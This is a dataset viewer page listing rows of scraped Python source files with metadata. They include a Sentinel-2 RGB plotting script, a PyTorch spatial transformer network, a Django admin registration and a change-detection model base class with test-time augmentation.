xszheng2020/the_stack_dedup_python_hits_6 · Datasets at Hugging Face

740cd479d103bcb29d6d4137d552bd2d9ce84e8c

10,005

py

Python

scripts/eo_plot_snap.py

Zeitsperre/flyingpigeon

678370bf428af7ffe11ee79be3b8a89c73215e5e

[ "Apache-2.0" ]

1

2016-12-04T18:01:49.000Z

scripts/eo_plot_snap.py

Zeitsperre/flyingpigeon

678370bf428af7ffe11ee79be3b8a89c73215e5e

[ "Apache-2.0" ]

13

2017-03-16T15:44:21.000Z

2019-08-19T16:56:04.000Z

scripts/eo_plot_snap.py

Zeitsperre/flyingpigeon

678370bf428af7ffe11ee79be3b8a89c73215e5e

[ "Apache-2.0" ]

null

# from snappy import Product # from snappy import ProductData # import snappy # # import numpy # import sys # from snappy import String def plot_RGB(basedir): from snappy import ProductIO from snappy import ProductUtils from snappy import ProgressMonitor from snappy import jpy from os.path import join from tempfile import mkstemp mtd = 'MTD_MSIL1C.xml' _, rgb_image = mkstemp(dir='.', prefix= 'RGB', suffix='.png') source = join(basedir, mtd) sourceProduct = ProductIO.readProduct(source) b2 = sourceProduct.getBand('B2') b3 = sourceProduct.getBand('B3') b4 = sourceProduct.getBand('B4') Color = jpy.get_type('java.awt.Color') ColorPoint = jpy.get_type('org.esa.snap.core.datamodel.ColorPaletteDef$Point') ColorPaletteDef = jpy.get_type('org.esa.snap.core.datamodel.ColorPaletteDef') ImageInfo = jpy.get_type('org.esa.snap.core.datamodel.ImageInfo') ImageLegend = jpy.get_type('org.esa.snap.core.datamodel.ImageLegend') ImageManager = jpy.get_type('org.esa.snap.core.image.ImageManager') JAI = jpy.get_type('javax.media.jai.JAI') RenderedImage = jpy.get_type('java.awt.image.RenderedImage') # Disable JAI native MediaLib extensions System = jpy.get_type('java.lang.System') System.setProperty('com.sun.media.jai.disableMediaLib', 'true') # legend = ImageLegend(b2.getImageInfo(), b2) legend.setHeaderText(b2.getName()) # red = product.getBand('B4') # green = product.getBand('B3') # blue = product.getBand('B2') image_info = ProductUtils.createImageInfo([b4, b3, b2], True, ProgressMonitor.NULL) im = ImageManager.getInstance().createColoredBandImage([b4, b3, b2], image_info, 0) JAI.create("filestore", im, rgb_image, 'PNG') return rgb_image basedir = '/home/nils/birdhouse/var/lib/pywps/cache/flyingpigeon/scihub.copernicus/S2A_MSIL1C_20170119T092311_N0204_R093_T33PVK_20170119T093234.SAFE/' plot_RGB(basedir) # # source = '/home/nils/birdhouse/var/lib/pywps/cache/flyingpigeon/scihub.copernicus/S2A_MSIL1C_20170119T092311_N0204_R093_T33PVK_20170119T093234.SAFE/MTD_MSIL1C.xml' # sourceProduct = ProductIO.readProduct(source) # sourceProduct.getBandNames() # # b2 = sourceProduct.getBand('B2') # b3 = sourceProduct.getBand('B3') # b4 = sourceProduct.getBand('B4') # # # jpy = snappy.jpy # # # More Java type definitions required for image generation # Color = jpy.get_type('java.awt.Color') # ColorPoint = jpy.get_type('org.esa.snap.core.datamodel.ColorPaletteDef$Point') # ColorPaletteDef = jpy.get_type('org.esa.snap.core.datamodel.ColorPaletteDef') # ImageInfo = jpy.get_type('org.esa.snap.core.datamodel.ImageInfo') # ImageLegend = jpy.get_type('org.esa.snap.core.datamodel.ImageLegend') # ImageManager = jpy.get_type('org.esa.snap.core.image.ImageManager') # JAI = jpy.get_type('javax.media.jai.JAI') # RenderedImage = jpy.get_type('java.awt.image.RenderedImage') # # # Disable JAI native MediaLib extensions # System = jpy.get_type('java.lang.System') # System.setProperty('com.sun.media.jai.disableMediaLib', 'true') # # def write_image(band, filename, format): # im = ImageManager.getInstance().createColoredBandImage([band], band.getImageInfo(), 0) # JAI.create("filestore", im, filename, format) # # def write_rgb_image(bands, filename, format): # image_info = ProductUtils.createImageInfo(bands, True, ProgressMonitor.NULL) # im = ImageManager.getInstance().createColoredBandImage(bands, image_info, 0) # JAI.create("filestore", im, filename, format) # # # points = [ColorPoint(0.0, Color.YELLOW), # # ColorPoint(50.0, Color.RED), # # ColorPoint(100.0, Color.BLUE)] # # cpd = ColorPaletteDef(points) # # ii = ImageInfo(cpd) # # b2.setImageInfo(ii) # # # image_format = 'PNG' # # # write_image(b2, 'snappy_image.png', image_format) # # legend_image = legend.createImage() # # # # # This cast is need because otherwise jpy can't evaluate which method to call # # # This is considered as an issue of jpy (https://github.com/bcdev/jpy/issues/89) # # rendered_legend_image = jpy.cast(legend_image, RenderedImage) # # JAI.create("filestore", rendered_legend_image, 'snappy_write_image_legend.png', image_format) # # # legend = ImageLegend(b2.getImageInfo(), b2) # legend.setHeaderText(b2.getName()) # # # red = product.getBand('B4') # # green = product.getBand('B3') # # blue = product.getBand('B2') # # write_rgb_image([b4, b3, b2], 'snappy_write_image_rgb.png', image_format) # # # # #legend.setOrientation(ImageLegend.HORIZONTAL) # or ImageLegend.VERTICAL # #legend.setFont(legend.getFont().deriveFont(14)) # #legend.setBackgroundColor(Color.CYAN) # #legend.setForegroundColor(Color.ORANGE); # #legend.setBackgroundTransparency(0.7); # #legend.setBackgroundTransparencyEnabled(True); # #legend.setAntialiasing(True); # # legend_image = legend.createImage() # # # This cast is need because otherwise jpy can't evaluate which method to call # # This is considered as an issue of jpy (https://github.com/bcdev/jpy/issues/89) # rendered_legend_image = jpy.cast(legend_image, RenderedImage) # JAI.create("filestore", rendered_legend_image, 'snappy_write_image_legend.png', image_format) # # red = product.getBand('B4') # green = product.getBand('B3') # blue = product.getBand('B2') # write_rgb_image([red, green, blue], 'snappy_write_image_rgb.png', image_format) # # # This cast is need because otherwise jpy can't evaluate which method to call # # This is considered as an issue of jpy (https://github.com/bcdev/jpy/issues/89) # rendered_legend_image = jpy.cast(legend_image, RenderedImage) # JAI.create("filestore", rendered_legend_image, 'snappy_write_image_legend.png', image_format) # # red = sourceProduct.getBand('B4') # green = sourceProduct.getBand('B3') # blue = sourceProduct.getBand('B2') # write_rgb_image([red, green, blue], 'snappy_write_image_rgb.png', image_format) # # # This cast is need because otherwise jpy can't evaluate which method to call # # This is considered as an issue of jpy (https://github.com/bcdev/jpy/issues/89) # rendered_legend_image = jpy.cast(legend_image, RenderedImage) # JAI.create("filestore", rendered_legend_image, 'snappy_write_image_legend.png', image_format) # # red = sourceProduct.getBand('B4') # green = sourceProduct.getBand('B3') # blue = sourceProduct.getBand('B2') # write_rgb_image([red, green, blue], 'snappy_write_image_rgb.png', image_format) # # import snappy # import sys # from snappy import (ProductIO, ProductUtils, ProgressMonitor) # # # if len(sys.argv) != 2: # # print("usage: %s <file>" % sys.argv[0]) # # sys.exit(1) # # # # file = sys.argv[1] # # # # import rasterio # # import numpy as np # from os import path, listdir # # from tempfile import mkstemp # # from osgeo import gdal # # # import os, rasterio # import glob # # import subprocess # # basedir = '/home/nils/birdhouse/var/lib/pywps/cache/flyingpigeon/scihub.copernicus/S2A_MSIL1C_20170119T092311_N0204_R093_T33PVK_20170119T093234.SAFE/' # # prefix = path.basename(path.normpath(basedir)).split('.')[0] # # jps = [] # fname = basedir.split('/')[-1] # ID = fname.replace('.SAVE','') # # for filename in glob.glob(basedir + '/GRANULE/*/IMG_DATA/*jp2'): # jps.append(filename) # # jp_B04 = [jp for jp in jps if '_B04.jp2' in jp][0] # jp_B08 = [jp for jp in jps if '_B08.jp2' in jp][0] # # # # jpy = snappy.jpy # # # More Java type definitions required for image generation # Color = jpy.get_type('java.awt.Color') # ColorPoint = jpy.get_type('org.esa.snap.core.datamodel.ColorPaletteDef$Point') # ColorPaletteDef = jpy.get_type('org.esa.snap.core.datamodel.ColorPaletteDef') # ImageInfo = jpy.get_type('org.esa.snap.core.datamodel.ImageInfo') # ImageLegend = jpy.get_type('org.esa.snap.core.datamodel.ImageLegend') # ImageManager = jpy.get_type('org.esa.snap.core.image.ImageManager') # JAI = jpy.get_type('javax.media.jai.JAI') # RenderedImage = jpy.get_type('java.awt.image.RenderedImage') # # # # Disable JAI native MediaLib extensions # System = jpy.get_type('java.lang.System') # System.setProperty('com.sun.media.jai.disableMediaLib', 'true') # # def write_image(band, filename, format): # im = ImageManager.getInstance().createColoredBandImage([band], band.getImageInfo(), 0) # JAI.create("filestore", im, filename, format) # # def write_rgb_image(bands, filename, format): # image_info = ProductUtils.createImageInfo(bands, True, ProgressMonitor.NULL) # im = ImageManager.getInstance().createColoredBandImage(bands, image_info, 0) # JAI.create("filestore", im, filename, format) # # product = ProductIO.readProduct(file) # band = product.getBand('radiance_13') # # # The colour palette assigned to pixel values 0, 50, 100 in the band's geophysical units # points = [ColorPoint(0.0, Color.YELLOW), # ColorPoint(50.0, Color.RED), # ColorPoint(100.0, Color.BLUE)] # cpd = ColorPaletteDef(points) # ii = ImageInfo(cpd) # band.setImageInfo(ii) # # image_format = 'PNG' # write_image(band, 'snappy_image.png', image_format) # # legend = ImageLegend(band.getImageInfo(), band) # legend.setHeaderText(band.getName()) # # #legend.setOrientation(ImageLegend.HORIZONTAL) # or ImageLegend.VERTICAL # #legend.setFont(legend.getFont().deriveFont(14)) # #legend.setBackgroundColor(Color.CYAN) # #legend.setForegroundColor(Color.ORANGE); # #legend.setBackgroundTransparency(0.7); # #legend.setBackgroundTransparencyEnabled(True); # #legend.setAntialiasing(True); # # legend_image = legend.createImage() # # # This cast is need because otherwise jpy can't evaluate which method to call # # This is considered as an issue of jpy (https://github.com/bcdev/jpy/issues/89) # rendered_legend_image = jpy.cast(legend_image, RenderedImage) # JAI.create("filestore", rendered_legend_image, 'snappy_write_image_legend.png', image_format) # # red = product.getBand('radiance_13') # green = product.getBand('radiance_5') # blue = product.getBand('radiance_1') # write_rgb_image([red, green, blue], 'snappy_write_image_rgb.png', image_format)

38.187023

165

0.730135

1,291

10,005

5.534469

0.158792

0.022673

0.037789

0.027292

0.83177

0.823233

0.811477

0.782225

0

0.026781

0.122939

10,005

261

166

38.333333

0.787464

0.781909

0

0.03125

0.260094

0.211327

0

1

0.03125

false

0

0.1875

0

0.25

0

null

0

1

0

null

0

6

742287123f9913486498681afacff27ae771606f

172

py

Python

example_8.py

iljuhas7/lab-15

4d82ff5594193f2d45b7f0a53826ccd5df1b3e5c

[ "MIT" ]

null

example_8.py

iljuhas7/lab-15

4d82ff5594193f2d45b7f0a53826ccd5df1b3e5c

[ "MIT" ]

null

example_8.py

iljuhas7/lab-15

4d82ff5594193f2d45b7f0a53826ccd5df1b3e5c

[ "MIT" ]

null

with open("file2.txt", "r") as TextIO: print("The TextIO is at byte :", TextIO.tell()) TextIO.seek(10) print("After reading, the TextIO is at:", TextIO.tell())

34.4

60

0.633721

27

172

4.037037

0.62963

0.165138

0.201835

0.238532

0

0.021429

0.186047

172

4

61

43

0.757143

0

0.377907

0

1

0

true

0

0.5

1

0

null

0

1

0

1

0

null

0

1

0

1

0

6

74323849c3f35de92af8dc2c05f55298519ad52b

4,861

py

Python

MNIST-pytorch/graph.py

LaudateCorpus1/inverse-compositional-STN

4a2a8fc7b9a1e3f6788bd0037eacf248f3abf76b

[ "MIT" ]

201

2018-03-01T01:06:49.000Z

2022-03-08T07:57:19.000Z

MNIST-pytorch/graph.py

LaudateCorpus1/inverse-compositional-STN

4a2a8fc7b9a1e3f6788bd0037eacf248f3abf76b

[ "MIT" ]

11

2018-03-15T17:06:52.000Z

2020-05-18T16:40:15.000Z

MNIST-pytorch/graph.py

LaudateCorpus1/inverse-compositional-STN

4a2a8fc7b9a1e3f6788bd0037eacf248f3abf76b

[ "MIT" ]

48

2018-03-06T21:12:34.000Z

2021-11-30T04:15:35.000Z

import numpy as np import torch import time import data,warp,util # build classification network class FullCNN(torch.nn.Module): def __init__(self,opt): super(FullCNN,self).__init__() self.inDim = 1 def conv2Layer(outDim): conv = torch.nn.Conv2d(self.inDim,outDim,kernel_size=[3,3],stride=1,padding=0) self.inDim = outDim return conv def linearLayer(outDim): fc = torch.nn.Linear(self.inDim,outDim) self.inDim = outDim return fc def maxpoolLayer(): return torch.nn.MaxPool2d([2,2],stride=2) self.conv2Layers = torch.nn.Sequential( conv2Layer(3),torch.nn.ReLU(True), conv2Layer(6),torch.nn.ReLU(True),maxpoolLayer(), conv2Layer(9),torch.nn.ReLU(True), conv2Layer(12),torch.nn.ReLU(True) ) self.inDim *= 8**2 self.linearLayers = torch.nn.Sequential( linearLayer(48),torch.nn.ReLU(True), linearLayer(opt.labelN) ) initialize(opt,self,opt.stdC) def forward(self,opt,image): feat = image feat = self.conv2Layers(feat).reshape(opt.batchSize,-1) feat = self.linearLayers(feat) output = feat return output # build classification network class CNN(torch.nn.Module): def __init__(self,opt): super(CNN,self).__init__() self.inDim = 1 def conv2Layer(outDim): conv = torch.nn.Conv2d(self.inDim,outDim,kernel_size=[9,9],stride=1,padding=0) self.inDim = outDim return conv def linearLayer(outDim): fc = torch.nn.Linear(self.inDim,outDim) self.inDim = outDim return fc def maxpoolLayer(): return torch.nn.MaxPool2d([2,2],stride=2) self.conv2Layers = torch.nn.Sequential( conv2Layer(3),torch.nn.ReLU(True) ) self.inDim *= 20**2 self.linearLayers = torch.nn.Sequential( linearLayer(opt.labelN) ) initialize(opt,self,opt.stdC) def forward(self,opt,image): feat = image feat = self.conv2Layers(feat).reshape(opt.batchSize,-1) feat = self.linearLayers(feat) output = feat return output # an identity class to skip geometric predictors class Identity(torch.nn.Module): def __init__(self): super(Identity,self).__init__() def forward(self,opt,feat): return [feat] # build Spatial Transformer Network class STN(torch.nn.Module): def __init__(self,opt): super(STN,self).__init__() self.inDim = 1 def conv2Layer(outDim): conv = torch.nn.Conv2d(self.inDim,outDim,kernel_size=[7,7],stride=1,padding=0) self.inDim = outDim return conv def linearLayer(outDim): fc = torch.nn.Linear(self.inDim,outDim) self.inDim = outDim return fc def maxpoolLayer(): return torch.nn.MaxPool2d([2,2],stride=2) self.conv2Layers = torch.nn.Sequential( conv2Layer(4),torch.nn.ReLU(True), conv2Layer(8),torch.nn.ReLU(True),maxpoolLayer() ) self.inDim *= 8**2 self.linearLayers = torch.nn.Sequential( linearLayer(48),torch.nn.ReLU(True), linearLayer(opt.warpDim) ) initialize(opt,self,opt.stdGP,last0=True) def forward(self,opt,image): imageWarpAll = [image] feat = image feat = self.conv2Layers(feat).reshape(opt.batchSize,-1) feat = self.linearLayers(feat) p = feat pMtrx = warp.vec2mtrx(opt,p) imageWarp = warp.transformImage(opt,image,pMtrx) imageWarpAll.append(imageWarp) return imageWarpAll # build Inverse Compositional STN class ICSTN(torch.nn.Module): def __init__(self,opt): super(ICSTN,self).__init__() self.inDim = 1 def conv2Layer(outDim): conv = torch.nn.Conv2d(self.inDim,outDim,kernel_size=[7,7],stride=1,padding=0) self.inDim = outDim return conv def linearLayer(outDim): fc = torch.nn.Linear(self.inDim,outDim) self.inDim = outDim return fc def maxpoolLayer(): return torch.nn.MaxPool2d([2,2],stride=2) self.conv2Layers = torch.nn.Sequential( conv2Layer(4),torch.nn.ReLU(True), conv2Layer(8),torch.nn.ReLU(True),maxpoolLayer() ) self.inDim *= 8**2 self.linearLayers = torch.nn.Sequential( linearLayer(48),torch.nn.ReLU(True), linearLayer(opt.warpDim) ) initialize(opt,self,opt.stdGP,last0=True) def forward(self,opt,image,p): imageWarpAll = [] for l in range(opt.warpN): pMtrx = warp.vec2mtrx(opt,p) imageWarp = warp.transformImage(opt,image,pMtrx) imageWarpAll.append(imageWarp) feat = imageWarp feat = self.conv2Layers(feat).reshape(opt.batchSize,-1) feat = self.linearLayers(feat) dp = feat p = warp.compose(opt,p,dp) pMtrx = warp.vec2mtrx(opt,p) imageWarp = warp.transformImage(opt,image,pMtrx) imageWarpAll.append(imageWarp) return imageWarpAll # initialize weights/biases def initialize(opt,model,stddev,last0=False): for m in model.conv2Layers: if isinstance(m,torch.nn.Conv2d): m.weight.data.normal_(0,stddev) m.bias.data.normal_(0,stddev) for m in model.linearLayers: if isinstance(m,torch.nn.Linear): if last0 and m is model.linearLayers[-1]: m.weight.data.zero_() m.bias.data.zero_() else: m.weight.data.normal_(0,stddev) m.bias.data.normal_(0,stddev)

30.006173

81

0.714873

698

4,861

4.906877

0.153295

0.079708

0.070073

0.052555

0.821606

0.791825

0.77781

0.767883

0.730511

0

0.024976

0.143386

4,861

161

82

30.192547

0.79755

0.040321

0

0.677852

0

1

0.154362

false

0

0.026846

0.033557

0.295302

0

null

0

1

0

null

0

6

7455cca9f57192cfcea3b1d7f6e362fbb0028afd

39

py

Python

dlocr/ctpn/lib/__init__.py

HandsomeBrotherShuaiLi/ChineseCalligraphyDetection

19c80ac6be272f8cf2552c9281548554c063d5c7

[ "Apache-2.0" ]

277

2018-11-14T06:15:34.000Z

2022-02-05T15:20:40.000Z

dlocr/ctpn/lib/__init__.py

dun933/text-detection-ocr

9bb9efd4a0a7af7d1a9a6784450d1843ffe15d8a

[ "Apache-2.0" ]

31

2018-11-19T09:47:05.000Z

2021-05-18T16:36:42.000Z

dlocr/ctpn/lib/__init__.py

dun933/text-detection-ocr

9bb9efd4a0a7af7d1a9a6784450d1843ffe15d8a

[ "Apache-2.0" ]

116

2018-11-14T06:15:37.000Z

2022-03-17T09:09:42.000Z

from dlocr.ctpn.lib.other import Graph

19.5

38

0.820513

7

39

4.571429

1

0

0.102564

39

1

39

0.914286

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

74a560a8dde48041b01976f0b15d374c44e9da9a

40

py

Python

utils/__init__.py

PineappleRind/utilitybot

9aab759280abf0e7d958d2daedb6a272bb3b2f71

[ "MIT" ]

13

2020-08-13T12:54:17.000Z

2021-12-28T10:48:50.000Z

utils/__init__.py

PineappleRind/utilitybot

9aab759280abf0e7d958d2daedb6a272bb3b2f71

[ "MIT" ]

43

2020-08-11T02:00:59.000Z

2021-02-15T17:09:19.000Z

utils/__init__.py

PineappleRind/utilitybot

9aab759280abf0e7d958d2daedb6a272bb3b2f71

[ "MIT" ]

24

2020-08-17T20:09:54.000Z

2022-03-23T23:50:44.000Z

from .permissions import has_permission

20

39

0.875

5

40

6.8

1

0

0.1

40

1

40

0.944444

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

74aad272eff97079307b2fb097515d98075a5e3e

242

py

Python

annotation/admin.py

SACGF/variantgrid

515195e2f03a0da3a3e5f2919d8e0431babfd9c9

[ "RSA-MD" ]

5

2021-01-14T03:34:42.000Z

2022-03-07T15:34:18.000Z

annotation/admin.py

SACGF/variantgrid

515195e2f03a0da3a3e5f2919d8e0431babfd9c9

[ "RSA-MD" ]

551

2020-10-19T00:02:38.000Z

2022-03-30T02:18:22.000Z

annotation/admin.py

SACGF/variantgrid

515195e2f03a0da3a3e5f2919d8e0431babfd9c9

[ "RSA-MD" ]

null

from django.contrib import admin from annotation import models admin.site.register(models.AnnotationRun) admin.site.register(models.AnnotationVersion) admin.site.register(models.ClinVar) admin.site.register(models.VariantAnnotationVersion)

26.888889

52

0.855372

29

242

7.137931

0.448276

0.173913

0.328502

0.444444

0

0.057851

242

8

53

30.25

0.907895

0

1

0

true

0

0.333333

0

0.333333

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

6

7792c2174051f896a88a670e242289e198545f95

43

py

Python

testsuite/data/scores/multisig_wallet/__init__.py

JINWOO-J/goloop

7a3dc346493dda7dd913df49cd7feb4edd991995

[ "Apache-2.0" ]

47

2020-09-11T01:40:37.000Z

2022-03-29T02:41:17.000Z

testsuite/data/scores/multisig_wallet/__init__.py

JINWOO-J/goloop

7a3dc346493dda7dd913df49cd7feb4edd991995

[ "Apache-2.0" ]

41

2020-09-11T01:33:13.000Z

2022-03-22T11:21:53.000Z

testsuite/data/scores/multisig_wallet/__init__.py

JINWOO-J/goloop

7a3dc346493dda7dd913df49cd7feb4edd991995

[ "Apache-2.0" ]

24

2020-09-22T08:23:38.000Z

2022-03-19T11:14:10.000Z

from .multisig_wallet import MultiSigWallet

43

0.906977

5

43

7.6

1

0

0.069767

43

1

43

0.95

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

77acb871c8f24af104734e6229991cfa71c7845b

14,890

py

Python

models/sseg/base.py

GIShkl/GAOFEN2021_CHANGEDETECTION

5b7251cb1e951a04c7effacab6c1233232158472

[ "MIT" ]

3

2021-12-12T09:45:41.000Z

2022-03-10T08:34:22.000Z

models/sseg/base.py

lyp19/GAOFEN2021_CHANGEDETECTION

5b7251cb1e951a04c7effacab6c1233232158472

[ "MIT" ]

null

models/sseg/base.py

lyp19/GAOFEN2021_CHANGEDETECTION

5b7251cb1e951a04c7effacab6c1233232158472

[ "MIT" ]

1

2021-11-13T05:40:18.000Z

from models.backbone.hrnet import HRNet from models.backbone.resnet import resnet18, resnet34, resnet50, resnet101, resnet152, resnext50_32x4d, resnext101_32x8d import torch from torch import nn import torch.nn.functional as F from models.pointrend import PointHead from models.block.attention import PAM_Module, CAM_Module from efficientnet_pytorch import EfficientNet def get_backbone(backbone, pretrained): if backbone == "resnet18": backbone = resnet18(pretrained) elif backbone == "resnet34": backbone = resnet34(pretrained) elif backbone == "resnet50": backbone = resnet50(pretrained) elif backbone == "resnet101": backbone = resnet101(pretrained) elif backbone == "resnet152": backbone = resnet152(pretrained) elif backbone == "resnext50": backbone = resnext50_32x4d(pretrained) elif backbone == "resnext101": backbone = resnext101_32x8d(pretrained) elif "hrnet" in backbone: backbone = HRNet(backbone, pretrained) elif "efficientnet-b3": backbone = EfficientNet.from_pretrained('efficientnet-b3') else: exit("\nError: BACKBONE \'%s\' is not implemented!\n" % backbone) return backbone # class BaseNet(nn.Module): # def __init__(self, backbone, pretrained): # super(BaseNet, self).__init__() # self.backbone = get_backbone(backbone, pretrained) # def base_forward(self, x1, x2): # b, c, h, w = x1.shape # x1 = self.backbone.base_forward(x1)[-1] # x2 = self.backbone.base_forward(x2)[-1] # out1 = self.head(x1) # out2 = self.head(x2) # out1 = F.interpolate(out1, size=( # h, w), mode='bilinear', align_corners=False) # out2 = F.interpolate(out2, size=( # h, w), mode='bilinear', align_corners=False) # out_bin = torch.abs(x1 - x2) # out_bin = self.head_bin(out_bin) # out_bin = F.interpolate(out_bin, size=( # h, w), mode='bilinear', align_corners=False) # out_bin = torch.softmax(out_bin) # return out1, out2, out_bin.squeeze(1) # def forward(self, x1, x2, tta=False): # if not tta: # return self.base_forward(x1, x2) # else: # out1, out2, out_bin = self.base_forward(x1, x2) # out1 = F.softmax(out1, dim=1) # out2 = F.softmax(out2, dim=1) # out_bin = out_bin.unsqueeze(1) # origin_x1 = x1.clone() # origin_x2 = x2.clone() # x1 = origin_x1.flip(2) # x2 = origin_x2.flip(2) # cur_out1, cur_out2, cur_out_bin = self.base_forward(x1, x2) # out1 += F.softmax(cur_out1, dim=1).flip(2) # out2 += F.softmax(cur_out2, dim=1).flip(2) # out_bin += cur_out_bin.unsqueeze(1).flip(2) # x1 = origin_x1.flip(3) # x2 = origin_x2.flip(3) # cur_out1, cur_out2, cur_out_bin = self.base_forward(x1, x2) # out1 += F.softmax(cur_out1, dim=1).flip(3) # out2 += F.softmax(cur_out2, dim=1).flip(3) # out_bin += cur_out_bin.unsqueeze(1).flip(3) # x1 = origin_x1.transpose(2, 3).flip(3) # x2 = origin_x2.transpose(2, 3).flip(3) # cur_out1, cur_out2, cur_out_bin = self.base_forward(x1, x2) # out1 += F.softmax(cur_out1, dim=1).flip(3).transpose(2, 3) # out2 += F.softmax(cur_out2, dim=1).flip(3).transpose(2, 3) # out_bin += cur_out_bin.unsqueeze(1).flip(3).transpose(2, 3) # x1 = origin_x1.flip(3).transpose(2, 3) # x2 = origin_x2.flip(3).transpose(2, 3) # cur_out1, cur_out2, cur_out_bin = self.base_forward(x1, x2) # out1 += F.softmax(cur_out1, dim=1).transpose(2, 3).flip(3) # out2 += F.softmax(cur_out2, dim=1).transpose(2, 3).flip(3) # out_bin += cur_out_bin.unsqueeze(1).transpose(2, 3).flip(3) # x1 = origin_x1.flip(2).flip(3) # x2 = origin_x2.flip(2).flip(3) # cur_out1, cur_out2, cur_out_bin = self.base_forward(x1, x2) # out1 += F.softmax(cur_out1, dim=1).flip(3).flip(2) # out2 += F.softmax(cur_out2, dim=1).flip(3).flip(2) # out_bin += cur_out_bin.unsqueeze(1).flip(3).flip(2) # out1 /= 6.0 # out2 /= 6.0 # out_bin /= 6.0 # return out1, out2, out_bin.squeeze(1) # class BaseNet(nn.Module): # def __init__(self, backbone, pretrained): # super(BaseNet, self).__init__() # self.backbone = get_backbone(backbone, pretrained) # def base_forward(self, x1, x2): # b, c, h, w = x1.shape # # TODO 改动，直接输入二者的差值 # x_bin = x2-x1 # # backbone提取特征 # x1 = self.backbone.base_forward(x1)[-1] # x2 = self.backbone.base_forward(x2)[-1] # # head输出 # out1 = self.head(x1) # out2 = self.head(x2) # # 上采样至原图像大小 # out1 = F.interpolate(out1, size=( # h, w), mode='bilinear', align_corners=False) # out2 = F.interpolate(out2, size=( # h, w), mode='bilinear', align_corners=False) # # softmax输出 # out1 = torch.softmax(out1) # out2 = torch.softmax(out2) # # 输出change，并上采样 # out_bin = torch.abs(x1 - x2) # out_bin = self.head_bin(out_bin) # out_bin = F.interpolate(out_bin, size=( # h, w), mode='bilinear', align_corners=False) # # softmax输出 # out_bin = torch.softmax(out_bin) # return out1, out2, out_bin # def forward(self, x1, x2, tta=False): # # 不加TTA # if not tta: # # 调用子类的base_forward方法 # return self.base_forward(x1, x2) # # 加TTA # else: # # 原图像输出 # out1, out2, out_bin = self.base_forward(x1, x2) # # 原图像 # origin_x1 = x1.clone() # origin_x2 = x2.clone() # # 对dim=2翻转后输出 # x1 = origin_x1.flip(2) # x2 = origin_x2.flip(2) # cur_out1, cur_out2, cur_out_bin = self.base_forward(x1, x2) # # 叠加输出 # out1 += cur_out1.flip(2) # out2 += cur_out2.flip(2) # out_bin += cur_out_bin.flip(2) # # 对dim=3翻转后输出 # x1 = origin_x1.flip(3) # x2 = origin_x2.flip(3) # cur_out1, cur_out2, cur_out_bin = self.base_forward(x1, x2) # out1 += cur_out1.flip(3) # out2 += cur_out2.flip(3) # out_bin += cur_out_bin.flip(3) # # 换轴再翻转 # x1 = origin_x1.transpose(2, 3).flip(3) # x2 = origin_x2.transpose(2, 3).flip(3) # cur_out1, cur_out2, cur_out_bin = self.base_forward(x1, x2) # out1 += cur_out1.flip(3).transpose(2, 3) # out2 += cur_out2.flip(3).transpose(2, 3) # out_bin += cur_out_bin.flip(3).transpose(2, 3) # # 翻转再换轴 # x1 = origin_x1.flip(3).transpose(2, 3) # x2 = origin_x2.flip(3).transpose(2, 3) # cur_out1, cur_out2, cur_out_bin = self.base_forward(x1, x2) # out1 += cur_out1.transpose(2, 3).flip(3) # out2 += cur_out2.transpose(2, 3).flip(3) # out_bin += cur_out_bin.transpose(2, 3).flip(3) # # 同时翻转dim=2和dim=3 # x1 = origin_x1.flip(2).flip(3) # x2 = origin_x2.flip(2).flip(3) # cur_out1, cur_out2, cur_out_bin = self.base_forward(x1, x2) # out1 += cur_out1.flip(3).flip(2) # out2 += cur_out2.flip(3).flip(2) # out_bin += cur_out_bin.flip(3).flip(2) # # 计算TTA输出均值 # out1 /= 6.0 # out2 /= 6.0 # out_bin /= 6.0 # return out1, out2, out_bin # ***************************backone==resnet**************************** class BaseNet(nn.Module): def __init__(self, backbone, pretrained): super(BaseNet, self).__init__() self.backbone = get_backbone(backbone, pretrained) def base_forward(self, x1, x2): b, c, h, w = x1.shape # backbone提取双时相特征 features1 = self.backbone.base_forward(x1) features2 = self.backbone.base_forward(x2) # 输出change，并上采样 out_bin = torch.abs(features2[-1] - features1[-1]) out_bin = self.head(out_bin) out_bin = F.interpolate(out_bin, size=( h, w), mode='bilinear', align_corners=True) # out_bin = torch.softmax(out_bin, dim=1) return out_bin def forward(self, x1, x2, tta=False): # 不加TTA if not tta: # 调用子类的base_forward方法 return self.base_forward(x1, x2) # 加TTA else: # 原图像输出 out1, out2, out_bin = self.base_forward( x1, x2) # 原图像 origin_x1 = x1.clone() origin_x2 = x2.clone() # 对dim=2翻转后输出 x1 = origin_x1.flip(2) x2 = origin_x2.flip(2) cur_out1, cur_out2, cur_out_bin = self.base_forward( x1, x2) # 叠加输出 out1 += cur_out1.flip(2) out2 += cur_out2.flip(2) out_bin += cur_out_bin.flip(2) # 对dim=3翻转后输出 x1 = origin_x1.flip(3) x2 = origin_x2.flip(3) cur_out1, cur_out2, cur_out_bin = self.base_forward( x1, x2) out1 += cur_out1.flip(3) out2 += cur_out2.flip(3) out_bin += cur_out_bin.flip(3) # 换轴再翻转 x1 = origin_x1.transpose(2, 3).flip(3) x2 = origin_x2.transpose(2, 3).flip(3) cur_out1, cur_out2, cur_out_bin = self.base_forward( x1, x2) out1 += cur_out1.flip(3).transpose(2, 3) out2 += cur_out2.flip(3).transpose(2, 3) out_bin += cur_out_bin.flip(3).transpose(2, 3) # 翻转再换轴 x1 = origin_x1.flip(3).transpose(2, 3) x2 = origin_x2.flip(3).transpose(2, 3) cur_out1, cur_out2, cur_out_bin = self.base_forward( x1, x2) out1 += cur_out1.transpose(2, 3).flip(3) out2 += cur_out2.transpose(2, 3).flip(3) out_bin += cur_out_bin.transpose(2, 3).flip(3) # 同时翻转dim=2和dim=3 x1 = origin_x1.flip(2).flip(3) x2 = origin_x2.flip(2).flip(3) cur_out1, cur_out2, cur_out_bin = self.base_forward( x1, x2) out1 += cur_out1.flip(3).flip(2) out2 += cur_out2.flip(3).flip(2) out_bin += cur_out_bin.flip(3).flip(2) # 计算TTA输出均值 out1 /= 6.0 out2 /= 6.0 out_bin /= 6.0 return out1, out2, out_bin # ***************************backone==resnet*************************** # class BaseNet(nn.Module): # def __init__(self, backbone, pretrained): # super(BaseNet, self).__init__() # # self.sa = PAM_Module(1536).cuda() # # self.sc = CAM_Module(1536).cuda() # 